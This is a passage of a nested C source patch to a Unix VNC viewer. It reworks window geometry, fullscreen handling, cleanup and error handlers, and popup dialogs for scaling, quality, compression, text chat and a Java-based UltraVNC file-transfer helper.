-+ dpyHeight = HeightOfScreen(DefaultScreenOfDisplay(dpy));
-+
-+ if (appData.fullScreen) {
-+ /* full screen - set position to 0,0, but defer size calculation until widgets are realized */
-+
-+ if (!net_wm_supported()) {
-+ XtVaSetValues(toplevel, XtNoverrideRedirect, True, XtNgeometry, "+0+0", NULL);
-+ } else {
-+ fullscreen_startup = 1;
-+ }
-+
-+ } else {
-+
-+ /* not full screen - work out geometry for middle of screen unless specified by user */
-+
-+ XtVaGetValues(toplevel, XtNgeometry, &geometry, NULL);
-+
-+ if (geometry == NULL) {
-+ Dimension toplevelX, toplevelY;
-+ Dimension toplevelWidth = w;
-+ Dimension toplevelHeight = h;
-+
-+ if ((toplevelWidth + appData.wmDecorationWidth) >= dpyWidth) {
-+ toplevelWidth = dpyWidth - appData.wmDecorationWidth;
-+ }
-+
-+ if ((toplevelHeight + appData.wmDecorationHeight) >= dpyHeight) {
-+ toplevelHeight = dpyHeight - appData.wmDecorationHeight;
-+ }
-+
-+ toplevelX = (dpyWidth - toplevelWidth - appData.wmDecorationWidth) / 2;
-+ toplevelY = (dpyHeight - toplevelHeight - appData.wmDecorationHeight) /2;
-+
-+ if (appData.appShare) {
-+ int X = appshare_x_hint;
-+ int Y = appshare_y_hint;
-+ if (appData.scale) {
-+ double fx = 1.0, fy = 1.0;
-+ get_scale_values(&fx, &fy);
-+ if (fx > 0.0 && fy > 0.0) {
-+ X *= fx;
-+ Y *= fy;
-+ }
-+ }
-+ if (appshare_x_hint != appshare_0_hint) {
-+ toplevelX = X;
-+ }
-+ if (appshare_y_hint != appshare_0_hint) {
-+ toplevelY = Y;
-+ }
-+ }
-+
-+ /* set position via "geometry" so that window manager thinks it's a
-+ user-specified position and therefore honours it */
-+
-+ geometry = XtMalloc(256);
-+
-+ sprintf(geometry, "%dx%d+%d+%d", toplevelWidth, toplevelHeight, toplevelX, toplevelY);
-+ fprintf(stderr, "geometry: %s ycrop: %d\n", geometry, appData.yCrop);
-+ XtVaSetValues(toplevel, XtNgeometry, geometry, NULL);
-+ }
-+ }
-
- /* Test if the keyboard is grabbed. If so, it's probably because the
- XDM login window is up, so try iconifying it to release the grab */
-
-- if (XGrabKeyboard(dpy, DefaultRootWindow(dpy), False, GrabModeSync,
-- GrabModeSync, CurrentTime) == GrabSuccess) {
-- XUngrabKeyboard(dpy, CurrentTime);
-- } else {
-- wmState = XInternAtom(dpy, "WM_STATE", False);
--
-- if (IconifyNamedWindow(DefaultRootWindow(dpy), "xlogin", False)) {
-- xloginIconified = True;
-- XSync(dpy, False);
-- sleep(1);
-- }
-- }
--
-- /* Set handlers for signals and X errors to perform cleanup */
--
-- signal(SIGHUP, CleanupSignalHandler);
-- signal(SIGINT, CleanupSignalHandler);
-- signal(SIGTERM, CleanupSignalHandler);
-- defaultXErrorHandler = XSetErrorHandler(CleanupXErrorHandler);
-- defaultXIOErrorHandler = XSetIOErrorHandler(CleanupXIOErrorHandler);
-- defaultXtErrorHandler = XtAppSetErrorHandler(appContext,
-- CleanupXtErrorHandler);
-+ if (XGrabKeyboard(dpy, DefaultRootWindow(dpy), False, GrabModeSync, GrabModeSync, CurrentTime) == GrabSuccess) {
-+ XUngrabKeyboard(dpy, CurrentTime);
-+ } else {
-+ wmState = XInternAtom(dpy, "WM_STATE", False);
-+ if (IconifyNamedWindow(DefaultRootWindow(dpy), "xlogin", False)) {
-+ xloginIconified = True;
-+ XSync(dpy, False);
-+ sleep(1);
-+ }
-+ }
-+
-+ /* Set handlers for signals and X errors to perform cleanup */
-+ signal(SIGHUP, CleanupSignalHandler);
-+ signal(SIGINT, CleanupSignalHandler);
-+ signal(SIGTERM, CleanupSignalHandler);
-+ defaultXErrorHandler = XSetErrorHandler(CleanupXErrorHandler);
-+ defaultXIOErrorHandler = XSetIOErrorHandler(CleanupXIOErrorHandler);
-+ defaultXtErrorHandler = XtAppSetErrorHandler(appContext, CleanupXtErrorHandler);
- }
-
-
-@@ -141,14 +185,22 @@
- void
- ToplevelInitAfterRealization()
- {
-- if (appData.fullScreen) {
-- FullScreenOn();
-- }
--
-- wmDeleteWindow = XInternAtom(dpy, "WM_DELETE_WINDOW", False);
-- XSetWMProtocols(dpy, XtWindow(toplevel), &wmDeleteWindow, 1);
-- XtOverrideTranslations
-- (toplevel, XtParseTranslationTable ("<Message>WM_PROTOCOLS: Quit()"));
-+ if (appData.fullScreen) {
-+ FullScreenOn();
-+ if (net_wm_supported()) {
-+ /* problem with scroll bars sticking: */
-+ XSync(dpy, False);
-+ usleep(50 * 1000);
-+ FullScreenOff();
-+ XSync(dpy, False);
-+ usleep(50 * 1000);
-+ FullScreenOn();
-+ }
-+ }
-+
-+ wmDeleteWindow = XInternAtom(dpy, "WM_DELETE_WINDOW", False);
-+ XSetWMProtocols(dpy, XtWindow(toplevel), &wmDeleteWindow, 1);
-+ XtOverrideTranslations(toplevel, XtParseTranslationTable ("<Message>WM_PROTOCOLS: Quit()"));
- }
-
-
-@@ -157,9 +209,7 @@
- * CurrentTime if the event has no time field.
- */
-
--Time
--TimeFromEvent(XEvent *ev)
--{
-+Time TimeFromEvent(XEvent *ev) {
- switch (ev->type) {
- case KeyPress:
- case KeyRelease:
-@@ -192,18 +242,16 @@
- * generated by SendRFBEvent.
- */
-
--void
--Pause(Widget w, XEvent *event, String *params, Cardinal *num_params)
--{
-- int msec;
-+void Pause(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ int msec;
-
-- if (*num_params == 0) {
-- msec = 100;
-- } else {
-- msec = atoi(params[0]);
-- }
--
-- usleep(msec * 1000);
-+ if (*num_params == 0) {
-+ msec = 100;
-+ } else {
-+ msec = atoi(params[0]);
-+ }
-+ usleep(msec * 1000);
-+ if (w || event || params || num_params) {}
- }
-
-
-@@ -256,6 +304,7 @@
- /* Wait for Child 1 to die */
- wait(&childstatus);
-
-+ if (w || event || params || num_params) {}
- return;
- }
-
-@@ -264,11 +313,10 @@
- * Quit action - called when we get a "delete window" message.
- */
-
--void
--Quit(Widget w, XEvent *event, String *params, Cardinal *num_params)
--{
-- Cleanup();
-- exit(0);
-+void Quit(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ Cleanup();
-+ if (w || event || params || num_params) {}
-+ exit(0);
- }
-
-
-@@ -276,49 +324,94 @@
- * Cleanup - perform any cleanup operations prior to exiting.
- */
-
--void
--Cleanup()
--{
-- if (xloginIconified) {
-- IconifyNamedWindow(DefaultRootWindow(dpy), "xlogin", True);
-- XFlush(dpy);
-- }
-+void Cleanup() {
-+
-+ if (appData.chatActive) {
-+ appData.chatActive = False;
-+ fprintf(stderr,"Sending SendTextChatClose()\n");
-+ SendTextChatClose();
-+ SendTextChatFinished();
-+ }
-+
-+ if (xloginIconified) {
-+ IconifyNamedWindow(DefaultRootWindow(dpy), "xlogin", True);
-+ XFlush(dpy);
-+ }
- #ifdef MITSHM
-- if (appData.useShm)
-- ShmCleanup();
-+ if (appData.useShm) {
-+ if (UsingShm()) {
-+ ShmDetach();
-+ }
-+ ShmCleanup();
-+ }
- #endif
-+
-+ releaseAllPressedModifiers();
-+
-+ fprintf(stderr,"\nVNC Viewer exiting.\n\n");
-+ if (listenSpecified) {
-+ if (listenParent != 0 && getenv("SSVNC_LISTEN_ONCE") && listenParent != getpid()) {
-+ fprintf(stderr, "SSVNC_LISTEN_ONCE: Trying to kill Listening Parent: %d\n", (int) listenParent);
-+ fprintf(stderr, "SSVNC_LISTEN_ONCE: Press Ctrl-C if it continues to Listen.\n\n");
-+ kill(listenParent, SIGTERM);
-+ } else {
-+ fprintf(stderr,"(NOTE: You may need to Press Ctrl-C to make the Viewer Stop Listening.)\n\n");
-+ }
-+ }
-+}
-+
-+static void check_dbg(void) {
-+ if (getenv("SSVNC_EXIT_DEBUG")) {
-+ fprintf(stderr, "Press any key to continue: ");
-+ getc(stdin);
-+ }
- }
-
- static int
- CleanupXErrorHandler(Display *dpy, XErrorEvent *error)
- {
-- fprintf(stderr,"CleanupXErrorHandler called\n");
-- Cleanup();
-- return (*defaultXErrorHandler)(dpy, error);
-+ if (XError_ign) {
-+ char str[4096];
-+ XError_ign++;
-+ fprintf(stderr,"XError_ign called.\n");
-+ str[0] = '\0';
-+ if (XGetErrorText(dpy, error->error_code, str, 4096)) {
-+ fprintf(stderr, "%s", str);
-+ }
-+ return 0;
-+ }
-+ fprintf(stderr,"CleanupXErrorHandler called\n");
-+ check_dbg();
-+ Cleanup();
-+ return (*defaultXErrorHandler)(dpy, error);
- }
-
- static int
- CleanupXIOErrorHandler(Display *dpy)
- {
-- fprintf(stderr,"CleanupXIOErrorHandler called\n");
-- Cleanup();
-- return (*defaultXIOErrorHandler)(dpy);
-+ fprintf(stderr,"CleanupXIOErrorHandler called\n");
-+ check_dbg();
-+ Cleanup();
-+ return (*defaultXIOErrorHandler)(dpy);
- }
-
- static void
- CleanupXtErrorHandler(String message)
- {
-- fprintf(stderr,"CleanupXtErrorHandler called\n");
-- Cleanup();
-- (*defaultXtErrorHandler)(message);
-+ fprintf(stderr,"CleanupXtErrorHandler called\n");
-+ check_dbg();
-+ Cleanup();
-+ (*defaultXtErrorHandler)(message);
- }
-
- static void
- CleanupSignalHandler(int sig)
- {
-- fprintf(stderr,"CleanupSignalHandler called\n");
-- Cleanup();
-- exit(1);
-+ fprintf(stderr,"CleanupSignalHandler called\n");
-+ check_dbg();
-+ Cleanup();
-+ if (sig) {}
-+ exit(1);
- }
-
-
-@@ -362,7 +455,7 @@
- if (!XQueryTree(dpy, w, &dummy, &dummy, &children, &nchildren))
- return False;
-
-- for (i = 0; i < nchildren; i++) {
-+ for (i = 0; i < (int) nchildren; i++) {
- if (IconifyNamedWindow(children[i], name, undo)) {
- XFree ((char *)children);
- return True;
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/popup.c vnc_unixsrc/vncviewer/popup.c
---- vnc_unixsrc.orig/vncviewer/popup.c 2000-06-11 08:00:53.000000000 -0400
-+++ vnc_unixsrc/vncviewer/popup.c 2010-04-11 22:03:32.000000000 -0400
-@@ -22,25 +22,69 @@
- */
-
- #include "vncviewer.h"
-+#include <time.h>
-+#include <sys/wait.h>
-
- #include <X11/Xaw/Form.h>
- #include <X11/Xaw/Command.h>
-+#include <X11/Xaw/AsciiText.h>
- #include <X11/Xaw/Toggle.h>
-
-+#include <X11/Xaw/Box.h>
-+#include <X11/Xaw/Scrollbar.h>
-+
- Widget popup, fullScreenToggle;
-
-+Bool SendTextChatFinished(void);
-+
-+void popupFixer(Widget wid) {
-+ Window rr, cr;
-+ unsigned int m;
-+ int x0 = 500, y0 = 500;
-+ int xr, yr, wxr, wyr;
-+ Dimension ph;
-+ if (XQueryPointer(dpy, DefaultRootWindow(dpy), &rr, &cr, &xr, &yr, &wxr, &wyr, &m)) {
-+ x0 = xr;
-+ y0 = yr;
-+ }
-+ XtPopup(wid, XtGrabNone);
-+ XtVaGetValues(wid, XtNheight, &ph, NULL);
-+ if (y0 + (int) ph > dpyHeight) {
-+ y0 = dpyHeight - (int) ph;
-+ if (y0 < 0) {
-+ y0 = 0;
-+ }
-+ }
-+ XtMoveWidget(wid, x0, y0);
-+}
-+
-+void Noop(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ if (0) fprintf(stderr, "No-op\n");
-+ if (w || event || params || num_params) {}
-+}
-+
- void
- ShowPopup(Widget w, XEvent *event, String *params, Cardinal *num_params)
- {
-- XtMoveWidget(popup, event->xbutton.x_root, event->xbutton.y_root);
-- XtPopup(popup, XtGrabNone);
-- XSetWMProtocols(dpy, XtWindow(popup), &wmDeleteWindow, 1);
-+ if (appData.popupFix) {
-+ popupFixer(popup);
-+ } else {
-+ XtMoveWidget(popup, event->xbutton.x_root, event->xbutton.y_root);
-+ XtPopup(popup, XtGrabNone);
-+ }
-+ if (appData.grabAll) {
-+ XSync(dpy, False);
-+ XRaiseWindow(dpy, XtWindow(popup));
-+ }
-+ XSetWMProtocols(dpy, XtWindow(popup), &wmDeleteWindow, 1);
-+ XtOverrideTranslations(popup, XtParseTranslationTable ("<Message>WM_PROTOCOLS: HidePopup()"));
-+ if (w || event || params || num_params) {}
- }
-
- void
--HidePopup(Widget w, XEvent *event, String *params, Cardinal *num_params)
--{
-- XtPopdown(popup);
-+HidePopup(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ XtPopdown(popup);
-+ if (w || event || params || num_params) {}
- }
-
-
-@@ -52,42 +96,808 @@
- };
-
- void
--CreatePopup()
-+CreatePopup() {
-+ Widget buttonForm1, buttonForm2, twoForm, button = 0, prevButton = NULL;
-+ int i;
-+ char buttonName[12];
-+ String buttonType;
-+
-+ popup = XtVaCreatePopupShell("popup", transientShellWidgetClass, toplevel, NULL);
-+
-+ twoForm = XtVaCreateManagedWidget("buttonForm", formWidgetClass, popup, NULL);
-+ buttonForm1 = XtVaCreateManagedWidget("buttonForm", formWidgetClass, twoForm, NULL);
-+ buttonForm2 = XtVaCreateManagedWidget("buttonForm", formWidgetClass, twoForm, XtNfromHoriz, (XtArgVal) buttonForm1, NULL);
-+
-+ if (appData.popupButtonCount > 100) {
-+ fprintf(stderr,"Too many popup buttons\n");
-+ exit(1);
-+ }
-+
-+ for (i = 1; i <= appData.popupButtonCount; i++) {
-+ Widget bform;
-+ sprintf(buttonName, "button%d", i);
-+
-+ if (i <= appData.popupButtonBreak) {
-+ bform = buttonForm1;
-+ } else {
-+ if (i == appData.popupButtonBreak+1) {
-+ prevButton = NULL;
-+ }
-+ bform = buttonForm2;
-+ }
-+ XtVaGetSubresources(bform, (XtPointer)&buttonType, buttonName, "Button", resources, 1, NULL);
-+
-+ if (strcmp(buttonType, "command") == 0) {
-+ button = XtVaCreateManagedWidget(buttonName, commandWidgetClass, bform, NULL);
-+ XtVaSetValues(button, XtNfromVert, prevButton, XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
-+ } else if (strcmp(buttonType, "toggle") == 0) {
-+ button = XtVaCreateManagedWidget(buttonName, toggleWidgetClass, bform, NULL);
-+ XtVaSetValues(button, XtNfromVert, prevButton, XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
-+ } else {
-+ fprintf(stderr,"unknown button type '%s'\n", buttonType);
-+ }
-+ prevButton = button;
-+ }
-+}
-+
-+
-+Widget scaleN;
-+
-+void
-+ShowScaleN(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ if (appData.popupFix) {
-+ popupFixer(scaleN);
-+ } else {
-+ XtMoveWidget(scaleN, event->xbutton.x_root, event->xbutton.y_root);
-+ XtPopup(scaleN, XtGrabNone);
-+ }
-+ if (appData.grabAll) {
-+ XRaiseWindow(dpy, XtWindow(scaleN));
-+ }
-+ XSetWMProtocols(dpy, XtWindow(scaleN), &wmDeleteWindow, 1);
-+ XtOverrideTranslations(scaleN, XtParseTranslationTable ("<Message>WM_PROTOCOLS: HideScaleN()"));
-+ if (w || event || params || num_params) {}
-+}
-+
-+void
-+HideScaleN(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ XtPopdown(scaleN);
-+ if (w || event || params || num_params) {}
-+}
-+
-+
-+void
-+CreateScaleN()
- {
- Widget buttonForm, button, prevButton = NULL;
- int i;
-- char buttonName[12];
-+ char buttonName[32];
- String buttonType;
-
-- popup = XtVaCreatePopupShell("popup", transientShellWidgetClass, toplevel,
-+ scaleN = XtVaCreatePopupShell("scaleN", transientShellWidgetClass, toplevel,
- NULL);
-
-- buttonForm = XtVaCreateManagedWidget("buttonForm", formWidgetClass, popup,
-+ buttonForm = XtVaCreateManagedWidget("buttonForm", formWidgetClass, scaleN,
- NULL);
-
-- if (appData.popupButtonCount > 100) {
-- fprintf(stderr,"Too many popup buttons\n");
-- exit(1);
-- }
--
-- for (i = 1; i <= appData.popupButtonCount; i++) {
-+ for (i = 0; i <= 6; i++) {
- sprintf(buttonName, "button%d", i);
- XtVaGetSubresources(buttonForm, (XtPointer)&buttonType, buttonName,
- "Button", resources, 1, NULL);
-
-- if (strcmp(buttonType, "command") == 0) {
-- button = XtVaCreateManagedWidget(buttonName, commandWidgetClass,
-+ button = XtVaCreateManagedWidget(buttonName, toggleWidgetClass,
- buttonForm, NULL);
-- XtVaSetValues(button, XtNfromVert, prevButton,
-+ XtVaSetValues(button, XtNfromVert, prevButton,
- XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
-- } else if (strcmp(buttonType, "toggle") == 0) {
-- button = XtVaCreateManagedWidget(buttonName, toggleWidgetClass,
-+ prevButton = button;
-+ }
-+}
-+
-+Widget turbovncW;
-+
-+static Widget turboButtons[32];
-+
-+Widget qualtext, qualslider;
-+
-+void UpdateQualSlider(void) {
-+#ifdef TURBOVNC
-+ char text[16];
-+ XawScrollbarSetThumb(qualslider, (float)appData.qualityLevel/100., 0.);
-+ sprintf(text, "%3d", appData.qualityLevel);
-+ XtVaSetValues(qualtext, XtNlabel, text, NULL);
-+#endif
-+}
-+
-+void qualScrollProc(Widget w, XtPointer client, XtPointer p) {
-+#ifdef TURBOVNC
-+ float size, val; int qual, pos=(int)p;
-+ XtVaGetValues(w, XtNshown, &size, XtNtopOfThumb, &val, 0);
-+ if(pos<0) val-=.1; else val+=.1;
-+ qual=(int)(val*100.); if(qual<1) qual=1; if(qual>100) qual=100;
-+ XawScrollbarSetThumb(w, val, 0.);
-+ appData.qualityLevel=qual;
-+ UpdateQual();
-+#endif
-+ if (w || client || p) {}
-+}
-+
-+void qualJumpProc(Widget w, XtPointer client, XtPointer p) {
-+#ifdef TURBOVNC
-+ float val=*(float *)p; int qual;
-+ qual=(int)(val*100.); if(qual<1) qual=1; if(qual>100) qual=100;
-+ appData.qualityLevel=qual;
-+ UpdateQual();
-+#endif
-+ if (w || client || p) {}
-+}
-+
-+void UpdateSubsampButtons(void) {
-+#ifdef TURBOVNC
-+ int i;
-+ for (i=7; i <= 10; i++) {
-+ XtVaSetValues(turboButtons[i], XtNstate, 0, NULL);
-+ }
-+ if (appData.subsampLevel==TVNC_1X) {
-+ i = 7;
-+ } else if (appData.subsampLevel==TVNC_2X) {
-+ i = 8;
-+ } else if (appData.subsampLevel==TVNC_4X) {
-+ i = 9;
-+ } else if (appData.subsampLevel==TVNC_GRAY) {
-+ i = 10;
-+ } else {
-+ return;
-+ }
-+ XtVaSetValues(turboButtons[i], XtNstate, 1, NULL);
-+#endif
-+}
-+
-+void
-+ShowTurboVNC(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ UpdateSubsampButtons();
-+ UpdateQualSlider();
-+ if (appData.popupFix) {
-+ popupFixer(turbovncW);
-+ } else {
-+ XtMoveWidget(turbovncW, event->xbutton.x_root, event->xbutton.y_root);
-+ XtPopup(turbovncW, XtGrabNone);
-+ }
-+ if (appData.grabAll) {
-+ XRaiseWindow(dpy, XtWindow(turbovncW));
-+ }
-+ XSetWMProtocols(dpy, XtWindow(turbovncW), &wmDeleteWindow, 1);
-+ XtOverrideTranslations(turbovncW, XtParseTranslationTable ("<Message>WM_PROTOCOLS: HideTurboVNC()"));
-+ if (w || event || params || num_params) {}
-+}
-+
-+void
-+HideTurboVNC(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ XtPopdown(turbovncW);
-+ if (w || event || params || num_params) {}
-+}
-+
-+void
-+CreateTurboVNC() {
-+ Widget buttonForm, button, prevButton = NULL;
-+ Widget label;
-+ int i;
-+ char buttonName[32];
-+ String buttonType;
-+
-+ turbovncW = XtVaCreatePopupShell("turboVNC", transientShellWidgetClass, toplevel, NULL);
-+
-+ buttonForm = XtVaCreateManagedWidget("buttonForm", formWidgetClass, turbovncW, NULL);
-+
-+ for (i = 0; i <= 12; i++) {
-+ sprintf(buttonName, "button%d", i);
-+#ifndef TURBOVNC
-+ if (i == 0) {
-+ sprintf(buttonName, "buttonNone");
-+ } else if (i > 0) {
-+ return;
-+ }
-+#endif
-+ XtVaGetSubresources(buttonForm, (XtPointer)&buttonType, buttonName,
-+ "Button", resources, 1, NULL);
-+
-+ button = XtVaCreateManagedWidget(buttonName, toggleWidgetClass,
-+ buttonForm, NULL);
-+ turboButtons[i] = button;
-+ XtVaSetValues(button, XtNfromVert, prevButton,
-+ XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
-+ prevButton = button;
-+ }
-+
-+ label = XtCreateManagedWidget("qualLabel", toggleWidgetClass, buttonForm, NULL, 0);
-+ XtVaSetValues(label, XtNfromVert, prevButton, XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
-+
-+ qualslider = XtCreateManagedWidget("qualBar", scrollbarWidgetClass, buttonForm, NULL, 0);
-+ XtVaSetValues(qualslider, XtNfromVert, label, XtNleft, XawChainLeft, NULL);
-+ XtAddCallback(qualslider, XtNscrollProc, qualScrollProc, NULL) ;
-+ XtAddCallback(qualslider, XtNjumpProc, qualJumpProc, NULL) ;
-+
-+ qualtext = XtCreateManagedWidget("qualText", labelWidgetClass, buttonForm, NULL, 0);
-+ XtVaSetValues(qualtext, XtNfromVert, label, XtNfromHoriz, qualslider, XtNright, XawChainRight, NULL);
-+}
-+
-+Widget qualityW;
-+
-+void
-+ShowQuality(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ if (appData.popupFix) {
-+ popupFixer(qualityW);
-+ } else {
-+ XtMoveWidget(qualityW, event->xbutton.x_root, event->xbutton.y_root);
-+ XtPopup(qualityW, XtGrabNone);
-+ }
-+ if (appData.grabAll) {
-+ XRaiseWindow(dpy, XtWindow(qualityW));
-+ }
-+ XSetWMProtocols(dpy, XtWindow(qualityW), &wmDeleteWindow, 1);
-+ XtOverrideTranslations(qualityW, XtParseTranslationTable ("<Message>WM_PROTOCOLS: HideQuality()"));
-+ if (w || event || params || num_params) {}
-+}
-+
-+void
-+HideQuality(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ XtPopdown(qualityW);
-+ if (w || event || params || num_params) {}
-+}
-+
-+
-+void
-+CreateQuality()
-+{
-+ Widget buttonForm, button, prevButton = NULL;
-+ int i;
-+ char buttonName[32];
-+ String buttonType;
-+
-+ qualityW = XtVaCreatePopupShell("quality", transientShellWidgetClass, toplevel,
-+ NULL);
-+
-+ buttonForm = XtVaCreateManagedWidget("buttonForm", formWidgetClass, qualityW,
-+ NULL);
-+
-+ for (i = -1; i <= 9; i++) {
-+ if (i < 0) {
-+ sprintf(buttonName, "buttonD");
-+ } else {
-+ sprintf(buttonName, "button%d", i);
-+ }
-+ XtVaGetSubresources(buttonForm, (XtPointer)&buttonType, buttonName,
-+ "Button", resources, 1, NULL);
-+
-+ button = XtVaCreateManagedWidget(buttonName, toggleWidgetClass,
- buttonForm, NULL);
-- XtVaSetValues(button, XtNfromVert, prevButton,
-+ XtVaSetValues(button, XtNfromVert, prevButton,
- XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
-+ prevButton = button;
-+ }
-+}
-+
-+Widget compressW;
-+
-+void
-+ShowCompress(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ if (appData.popupFix) {
-+ popupFixer(compressW);
-+ } else {
-+ XtMoveWidget(compressW, event->xbutton.x_root, event->xbutton.y_root);
-+ XtPopup(compressW, XtGrabNone);
-+ }
-+ if (appData.grabAll) {
-+ XRaiseWindow(dpy, XtWindow(compressW));
-+ }
-+ XSetWMProtocols(dpy, XtWindow(compressW), &wmDeleteWindow, 1);
-+ XtOverrideTranslations(compressW, XtParseTranslationTable ("<Message>WM_PROTOCOLS: HideCompress()"));
-+ if (w || event || params || num_params) {}
-+}
-+
-+void
-+HideCompress(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ XtPopdown(compressW);
-+ if (w || event || params || num_params) {}
-+}
-+
-+
-+void
-+CreateCompress()
-+{
-+ Widget buttonForm, button, prevButton = NULL;
-+ int i;
-+ char buttonName[32];
-+ String buttonType;
-+
-+ compressW = XtVaCreatePopupShell("compress", transientShellWidgetClass, toplevel,
-+ NULL);
-+
-+ buttonForm = XtVaCreateManagedWidget("buttonForm", formWidgetClass, compressW,
-+ NULL);
-+
-+ for (i = -1; i <= 9; i++) {
-+ if (i < 0) {
-+ sprintf(buttonName, "buttonD");
- } else {
-- fprintf(stderr,"unknown button type '%s'\n",buttonType);
-+ sprintf(buttonName, "button%d", i);
- }
-+ XtVaGetSubresources(buttonForm, (XtPointer)&buttonType, buttonName,
-+ "Button", resources, 1, NULL);
-+
-+ button = XtVaCreateManagedWidget(buttonName, toggleWidgetClass,
-+ buttonForm, NULL);
-+ XtVaSetValues(button, XtNfromVert, prevButton,
-+ XtNleft, XawChainLeft, XtNright, XawChainRight, NULL);
- prevButton = button;
- }
- }
-+
-+
-+int filexfer_sock = -1;
-+int filexfer_listen = -1;
-+
-+void HideFile(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ if (filexfer_sock >= 0) {
-+ close(filexfer_sock);
-+ filexfer_sock = -1;
-+ }
-+ if (filexfer_listen >= 0) {
-+ close(filexfer_listen);
-+ filexfer_listen = -1;
-+ }
-+ if (w || event || params || num_params) {}
-+}
-+
-+extern int use_loopback;
-+time_t start_listen = 0;
-+pid_t java_helper = 0;
-+
-+void ShowFile(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ int i, port0 = 7200, port, sock = -1;
-+ char *cmd, *jar;
-+ char fmt[] = "java -cp '%s' VncViewer HOST localhost PORT %d delayAuthPanel yes ignoreMSLogonCheck yes disableSSL yes ftpOnly yes graftFtp yes dsmActive no &";
-+
-+ if (getenv("SSVNC_ULTRA_FTP_JAR")) {
-+ jar = getenv("SSVNC_ULTRA_FTP_JAR");
-+ cmd = (char *) malloc(strlen(fmt) + strlen(jar) + 100);
-+ } else {
-+ fprintf(stderr, "Cannot find UltraVNC FTP jar file.\n");
-+ return;
-+ }
-+
-+ use_loopback = 1;
-+ for (i = 0; i < 100; i++) {
-+ port = port0 + i;
-+ sock = ListenAtTcpPort(port);
-+ if (sock < 0) {
-+ sock = ListenAtTcpPort6(port);
-+ }
-+ if (sock >= 0) {
-+ fprintf(stderr, "listening for filexfer on port: %d sock: %d\n", port, sock);
-+ break;
-+ }
-+ }
-+ use_loopback = 0;
-+
-+ if (sock >= 0) {
-+ int st;
-+ pid_t pid = fork();
-+ if (pid < 0) {
-+ free(cmd);
-+ return;
-+ } else if (pid == 0) {
-+ int i;
-+ sprintf(cmd, fmt, jar, port);
-+ if (appData.ultraDSM) {
-+ char *q = strstr(cmd, "dsmActive");
-+ if (q) {
-+ q = strstr(q, "no ");
-+ if (q) {
-+ q[0] = 'y';
-+ q[1] = 'e';
-+ q[2] = 's';
-+ }
-+ }
-+ }
-+ for (i = 3; i < 100; i++) {
-+ close(i);
-+ }
-+ fprintf(stderr, "\n-- Experimental UltraVNC File Transfer --\n\nRunning cmd:\n\n %s\n\n", cmd);
-+ system(cmd);
-+ exit(0);
-+ }
-+ fprintf(stderr, "java helper pid is: %d\n", (int) pid);
-+ waitpid(pid, &st, 0);
-+ java_helper = pid;
-+ start_listen = time(NULL);
-+ }
-+ free(cmd);
-+ filexfer_listen = sock;
-+ if (w || event || params || num_params) {}
-+}
-+
-+Widget chat, entry, text;
-+
-+static int chat_visible = 0;
-+
-+void
-+ShowChat(Widget w, XEvent *event, String *params, Cardinal *num_params)
-+{
-+ if (appData.termChat) {
-+ return;
-+ }
-+ if (! chat_visible) {
-+ XtPopup(chat, XtGrabNone);
-+ chat_visible = 1;
-+ wmDeleteWindow = XInternAtom(dpy, "WM_DELETE_WINDOW", False);
-+ XSetWMProtocols(dpy, XtWindow(chat), &wmDeleteWindow, 1);
-+ if (appData.chatOnly) {
-+ XtOverrideTranslations(chat, XtParseTranslationTable ("<Message>WM_PROTOCOLS: Quit()"));
-+ } else {
-+ XtOverrideTranslations(chat, XtParseTranslationTable ("<Message>WM_PROTOCOLS: HideChat()"));
-+ }
-+ XSync(dpy, False);
-+ usleep(200 * 1000);
-+ }
-+ if (w || event || params || num_params) {}
-+}
-+
-+void hidechat(void) {
-+ appData.chatActive = False;
-+ if (appData.termChat) {
-+ return;
-+ }
-+ if (chat_visible) {
-+ XtPopdown(chat);
-+ chat_visible = 0;
-+ XSync(dpy, False);
-+ usleep(200 * 1000);
-+ }
-+ if (appData.chatOnly) {
-+ Quit(0, NULL, NULL, NULL);
-+ }
-+}
-+
-+void HideChat(Widget w, XEvent *event, String *params, Cardinal *num_params) {
-+ SendTextChatClose();
-+ SendTextChatFinished();
-+ hidechat();
-+ if (w || event || params || num_params) {}
-+}
-+
-+void dismiss_proc(Widget w, XtPointer client_data, XtPointer call_data) {
-+ SendTextChatClose();
-+ SendTextChatFinished();
-+ hidechat();
-+ if (w || client_data || call_data) {}
-+}
-+
-+extern void printChat(char *, Bool);
-+
-+static void ChatTextCallback(XtPointer clientData, XtIntervalId *id);
-+static XtIntervalId timer;
-+static Bool timerSet = False;
-+
-+void CheckTextInput(void);
-+extern double start_time;
-+
-+static void ChatTextCallback(XtPointer clientData, XtIntervalId *id) {
-+ static int db = -1;
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_CHAT")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-+ if (db) fprintf(stderr, "ChatTextCallback: %.4f\n", dnow() - start_time);
-+ CheckTextInput();
-+ if (clientData || id) {}
-+}
-+
-+void CheckTextInput(void) {
-+ Arg args[2];
-+ String str;
-+ int len;
-+ static int db = -1;
-+
-+ if (timerSet) {
-+ XtRemoveTimeOut(timer);
-+ timerSet = False;
-+ }
-+ if (appData.chatActive) {
-+ timer = XtAppAddTimeOut(appContext, 333, ChatTextCallback, NULL);
-+ timerSet = True;
-+ }
-+ if (appData.chatOnly && !appData.chatActive) {
-+ Quit(0, NULL, NULL, NULL);
-+ }
-+
